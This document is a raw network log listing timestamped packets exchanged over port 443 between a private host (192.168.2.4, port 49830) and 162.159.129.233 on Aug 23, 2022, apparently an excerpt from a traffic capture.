Aug 23, 2022 03:43:52.440977097 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.441075087 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.441080093 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.441099882 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.441129923 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.441142082 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.441168070 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.441175938 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.441201925 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.441277027 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.441905975 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.441941023 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.442039967 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.442054987 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.442080021 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.442097902 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.442130089 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.442181110 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.443022013 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.443057060 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.443125010 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.443139076 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.443169117 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.443196058 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.443883896 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.443921089 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.443993092 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.444013119 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.444036007 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.444068909 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.444710970 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.444753885 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.444794893 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.444804907 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.444844007 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.444861889 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.452124119 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.452161074 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.452284098 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.452300072 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.452359915 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.453954935 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.453996897 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.454091072 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.454102993 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.454134941 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.454914093 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.455163002 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.455216885 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.455229044 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.455241919 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.455290079 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.455837965 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.455876112 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.455965996 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.456002951 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.456060886 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.456147909 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.456443071 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.456492901 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.456547022 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.456556082 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.456568956 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.456599951 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.457043886 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.457078934 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.457149982 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.457158089 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.457182884 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.457206964 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.457730055 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.457762957 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.457807064 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.457813978 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.457845926 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.457864046 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.458643913 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.458693981 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.458749056 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.458755016 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.458794117 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.458801031 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.458837032 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.458842039 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.458897114 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.459160089 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.459192038 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.459235907 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.459239960 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.459292889 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.459933043 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.459980965 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.460073948 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.460083961 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.460192919 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.460793972 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.460828066 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.460896969 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.460905075 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.460963011 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.460984945 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.461256027 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.461287022 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.461370945 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.461379051 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.461424112 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.461446047 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.462342978 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.462378979 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.462436914 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.462444067 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.462527037 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.463232040 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.463268042 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.463319063 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.463326931 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.463376999 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.463424921 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.464210987 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.464247942 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.464306116 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.464313984 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.464370966 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.464834929 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.464868069 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.464919090 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.464926004 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.464970112 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.464987040 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.465533972 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.465579987 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.465641975 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.465651989 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.465697050 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.465723038 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.470282078 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.470341921 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.470429897 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.470442057 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.470518112 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.471733093 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.471971989 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.471987009 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.472100019 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.472115040 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.472171068 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.472640038 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.472695112 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.472748995 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.472760916 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.472806931 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.472867012 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.473186016 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.473217964 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.473289967 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.473299026 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.473346949 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.473745108 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.473772049 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.473845005 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.473855019 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.473893881 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.474200964 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.474230051 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.474298954 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.474313021 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.474343061 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.474363089 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.474967957 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.474998951 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.475075960 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.475089073 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.475147009 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.475259066 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.475682020 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.475724936 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.475792885 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.475805998 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.475847960 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.475866079 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.476289988 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.476320028 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.476387024 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.476401091 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.476470947 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.476490021 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.477015018 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.477051020 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.477128029 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.477150917 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.477176905 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.477206945 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.477269888 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.477299929 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.477380037 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.477400064 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.477410078 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.477451086 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.477771997 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.477801085 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.477929115 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.477938890 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.477952957 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.478003979 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.478331089 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.478364944 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.478450060 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.478461027 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.478496075 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.478543997 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.478821993 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.478854895 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.478920937 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.478929043 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.478986979 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.478996992 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.479123116 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.479151011 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.479224920 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.479243040 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.479271889 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.479315042 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.479530096 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.479556084 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.479646921 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.479657888 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.479716063 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.480030060 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.480072975 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.480129957 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.480140924 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.480187893 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.480211020 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.480473995 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.480503082 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.480572939 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.480581045 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.480628014 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.480647087 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.480971098 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.481134892 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.481162071 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.481249094 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.481257915 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.481307030 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.481328964 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.481790066 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.481825113 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.481916904 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.481930017 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.481966019 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.481992006 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.482217073 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.482255936 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.482342958 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.482352972 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.482393980 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.482420921 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.483186960 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.483218908 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.483275890 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.483285904 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.483325958 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.483928919 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.483967066 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.483997107 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.484006882 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.484030962 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.484091043 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.484483957 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.484514952 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.484565973 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.484575987 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.484596968 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.484622955 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.485047102 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.485076904 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.485140085 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.485150099 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.485183001 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.485209942 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.485738993 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.485779047 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.485862970 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.485873938 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.485891104 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.485914946 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.486382961 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.486416101 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.486483097 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.486493111 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.486520052 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.486543894 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.486984968 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.487013102 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.487066984 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.487076998 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.487111092 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.487132072 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.487493038 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.487524033 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.487607002 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.487620115 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.487658024 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.487678051 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.488276958 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.488308907 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.488373995 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.488392115 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.488436937 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.488564014 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.488626957 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.488657951 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.488730907 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.488743067 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.488841057 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.489011049 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.489046097 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.489128113 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.489146948 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.489202976 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.489463091 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.489491940 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.489541054 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.489556074 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.489582062 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.489602089 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.490844965 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.490876913 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.490933895 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.490955114 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.490989923 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.491024017 CEST	49830	443	192.168.2.4	162.159.129.233
